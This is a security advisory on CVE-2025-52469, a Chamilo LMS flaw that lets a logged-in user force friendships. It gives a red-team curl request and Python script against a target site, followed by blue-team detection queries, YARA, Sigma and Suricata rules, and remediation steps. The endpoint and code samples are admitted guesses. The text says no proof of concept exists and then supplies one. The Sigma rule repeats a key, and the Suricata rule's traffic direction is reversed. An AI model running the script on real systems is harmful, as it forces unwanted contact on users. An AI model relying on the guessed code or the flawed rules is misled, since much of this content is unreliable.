CVE-2025-52469

Executive Summary

CVE-2025-52469 is a logic vulnerability in the Chamilo Learning Management System (LMS) affecting versions prior to 1.11.30. The flaw resides in the social network module's friend request workflow, specifically within an AJAX endpoint. An authenticated attacker can forcibly add any user as a friend by directly calling the vulnerable endpoint, bypassing the intended two-step process of sending and accepting friend requests. This breaks access control and social interaction logic, potentially exposing private user data and enabling social engineering attacks. The vulnerability has a CVSS score of 7.1 (High) and is currently unpatched in older versions. No public proof-of-concept or exploit code is available at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (potential exposure of friend lists and private profiles)
• Integrity Impact: Low (unauthorized friend additions)
• Availability Impact: Low (no direct DoS, but social spam possible)

Deep Dive & Mechanics

The vulnerability is a classic Missing Authorization (CWE-862) flaw. In Chamilo's social network module, the intended friend request flow is:

1. User A sends a friend request to User B.
2. User B receives a notification and must accept the request.
3. Upon acceptance, the friendship is established.

The vulnerable AJAX endpoint (likely main/social/ajax/friends.ajax.php or similar) directly processes friend addition without verifying that the request originated from a legitimate "send request" action and that the target user has accepted. By crafting a direct HTTP request to this endpoint with the target user's ID, an authenticated attacker can bypass the entire workflow.

The attacker can also attempt to add non-existent user IDs, which may cause unexpected behavior or database inconsistencies. This breaks the social trust model and can be used for:

• Privacy Violation: Viewing private profile data of users who have restricted access to friends only.
• Social Engineering: Forcing a friendship to appear legitimate, then using it to send malicious messages or links.
• Spam/Phishing: Adding many users to send bulk messages through the social network.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.11.30): The vulnerable endpoint likely lacks a check to ensure the friend request was initiated by the target user or that the target user has accepted. A simplified example:

// Vulnerable: No authorization check
if (isset($_POST['friend_id'])) {
    $friend_id = intval($_POST['friend_id']);
    // Directly add friend without verifying acceptance
    SocialManager::add_friend($current_user_id, $friend_id);
    echo 'Friend added successfully';
}

Patched Code (1.11.30): The patched version introduces a state machine for friend requests, requiring explicit acceptance:

// Patched: Requires request and acceptance
if (isset($_POST['friend_id']) && isset($_POST['action'])) {
    $friend_id = intval($_POST['friend_id']);
    $action = $_POST['action'];
    
    if ($action === 'send_request') {
        // Send request, set status to 'pending'
        SocialManager::send_friend_request($current_user_id, $friend_id);
    } elseif ($action === 'accept_request') {
        // Only accept if a pending request exists
        if (SocialManager::has_pending_request($friend_id, $current_user_id)) {
            SocialManager::accept_friend_request($friend_id, $current_user_id);
        }
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid authenticated session (cookie/token) for a Chamilo user.
• Target user ID (can be enumerated via user search or IDOR).

Exploitation Steps:

1. Identify the vulnerable endpoint: Use browser developer tools to monitor AJAX calls when sending a friend request. Look for endpoints like /main/social/ajax/friends.ajax.php or /main/inc/ajax/friends.ajax.php.

2. Craft the exploit request:

curl -X POST 'https://target-chamilo.com/main/social/ajax/friends.ajax.php' \
  -H 'Cookie: chamilo_session=YOUR_SESSION_COOKIE' \
  -d 'action=add&friend_id=TARGET_USER_ID'

3. Verify: Check the target user's friend list or your own friend list to confirm the addition.

Automated Script (Python):

import requests

session = requests.Session()
session.cookies.set('chamilo_session', 'YOUR_SESSION_COOKIE')

target_url = 'https://target-chamilo.com/main/social/ajax/friends.ajax.php'
target_user_id = 123  # Replace with actual user ID

response = session.post(target_url, data={
    'action': 'add',
    'friend_id': target_user_id
})

if response.status_code == 200 and 'success' in response.text:
    print(f'Successfully added user {target_user_id} as friend.')
else:
    print('Exploit failed.')

Blue Team

Detection Steps:

1. Monitor AJAX endpoints: Log all requests to /main/social/ajax/friends.ajax.php and similar endpoints. Flag requests with action=add or missing action parameter.

2. Audit friend additions: Regularly check for friend relationships created without a corresponding pending request. Use database queries:

SELECT * FROM social_friends 
WHERE created_at = updated_at 
AND status = 'accepted' 
AND NOT EXISTS (
    SELECT 1 FROM social_friend_requests 
    WHERE social_friend_requests.from_user = social_friends.user_id 
    AND social_friend_requests.to_user = social_friends.friend_id
);

3. Rate limiting: Implement rate limiting on friend addition endpoints to prevent bulk exploitation.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /main/social/ajax/friends.ajax.php with action=add parameter.
  • Rapid succession of friend addition requests to multiple user IDs.
  • Requests to non-existent user IDs (e.g., friend_id=999999).

• System:

  • Database entries in social_friends table with status='accepted' but no corresponding entry in social_friend_requests table.
  • Unusual spikes in friend additions for a single user.
  • Friend relationships between users who have never interacted.

• Logs:

  • Apache/Nginx access logs showing repeated POST requests to the vulnerable endpoint.
  • Application logs showing SocialManager::add_friend() calls without prior send_friend_request().

Detection Engineering

YARA Rule

rule Detect_Chamilo_Friend_Add_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-52469 in Chamilo LMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52469"
    strings:
        $ajax_endpoint = "/main/social/ajax/friends.ajax.php"
        $action_add = "action=add"
        $friend_id = "friend_id="
    condition:
        all of them
}

Sigma Rule

title: Chamilo CVE-2025-52469 Friend Addition Exploit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation of CVE-2025-52469 by monitoring for direct friend addition requests
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/main/social/ajax/friends.ajax.php'
        cs-uri-query|contains: 'action=add'
    condition: selection
falsepositives:
    - Legitimate friend additions if the application is patched
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-52469 Chamilo LMS Unauthorized Friend Addition";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/main/social/ajax/friends.ajax.php";
    http_uri;
    content:"action=add";
    http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Chamilo 1.11.30 or later. This is the only complete fix.
2. If upgrade is not immediately possible, apply a virtual patch using a Web Application Firewall (WAF) to block requests to /main/social/ajax/friends.ajax.php with action=add parameter.
3. Disable the social network module temporarily if not critical.

Long-term Measures:

• Implement proper authorization checks on all AJAX endpoints.
• Use CSRF tokens for state-changing operations.
• Conduct regular security audits of custom modules.
• Monitor for unusual friend addition patterns.

Workaround (if patching is delayed):

• Modify the vulnerable PHP file to add authorization checks (see patched code example).
• Restrict access to the AJAX endpoint via .htaccess:

<FilesMatch "friends\.ajax\.php">
    Require all denied
</FilesMatch>

Valters IT
Securing Digital Ecosystems